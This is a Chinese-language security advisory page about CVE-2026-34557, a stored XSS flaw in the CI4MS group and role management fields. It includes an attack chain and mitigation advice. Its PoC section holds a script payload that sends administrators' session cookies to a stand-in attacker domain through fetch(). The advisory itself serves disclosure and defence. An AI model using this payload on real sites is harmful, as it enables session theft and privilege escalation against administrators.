IPBUF安全漏洞报告
English
CVE-2026-34557 CVSS 9.1 严重

CVE-2026-34557 CI4MS存储型XSS漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-34557
漏洞类型
存储型跨站脚本 (XSS)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
CI4MS

相关标签

XSSStored XSSCI4MSCodeIgniterWeb SecurityCWE-79

漏洞概述

CI4MS是基于CodeIgniter 4开发的CMS骨架系统。在0.31.0.0版本之前,该系统在群组和角色管理功能中存在严重的安全缺陷,未能正确清理用户控制的输入。攻击者能够利用多个输入字段注入恶意JavaScript载荷,并将其存储在服务器端。当管理员查看相关特权管理页面时,这些载荷未经适当编码即被渲染执行,从而引发存储型跨站脚本(XSS)漏洞。

技术细节

该漏洞源于CI4MS在群组和角色管理模块中缺乏严格的输入验证和输出编码机制。具体而言,应用程序对用户提交的群组相关字段(共三个不同字段)未进行有效的HTML实体编码或过滤,直接信任并存储了用户控制的数据。由于系统在后台管理界面渲染这些存储数据时,未实施上下文相关的转义策略,导致存在存储型XSS风险。攻击者只需拥有低权限账号(CVSS向量显示PR:L),即可构造特制的XSS Payload输入到受影响字段。一旦拥有更高权限的管理员访问被污染的群组或角色管理页面,恶意Payload便会在管理员的浏览器上下文中自动执行。这可能允许攻击者窃取管理员的Session ID、篡改系统设置或执行未授权的管理操作,从而实现权限提升。

攻击链分析

STEP 1
1. 获取访问权限
攻击者注册或获取一个低权限账户(PR:L),该账户具有访问群组或角色管理界面的权限。
STEP 2
2. 注入恶意载荷
攻击者在群组或角色管理的输入字段中输入包含恶意JavaScript代码的XSS Payload。
STEP 3
3. 存储Payload
应用程序未能过滤输入,将恶意代码存储在服务器的数据库中。
STEP 4
4. 触发漏洞
当特权管理员登录系统并访问受影响的群组或角色管理页面时,服务器从数据库读取并渲染包含恶意代码的数据。
STEP 5
5. 执行攻击
管理员的浏览器解析并执行恶意脚本,导致Cookie窃取、会话劫持或进一步的管理员权限提升操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Stored XSS PoC for CI4MS Group/Role Management --> <!-- Inject this payload into the vulnerable group name or description fields --> <script> // Example: Send current session cookies to an external server controlled by the attacker fetch('https://attacker-controlled-domain.com/steal?cookie=' + encodeURIComponent(document.cookie)) .then(response => console.log('Exfiltrated')) .catch(error => console.error('Error:', error)); </script>

影响范围

CI4MS < 0.31.0.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议暂时限制低权限用户对群组和角色管理功能的编辑权限。管理员应避免点击来源不明的链接,并在访问管理后台时使用不包含敏感信息的隔离浏览器环境。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表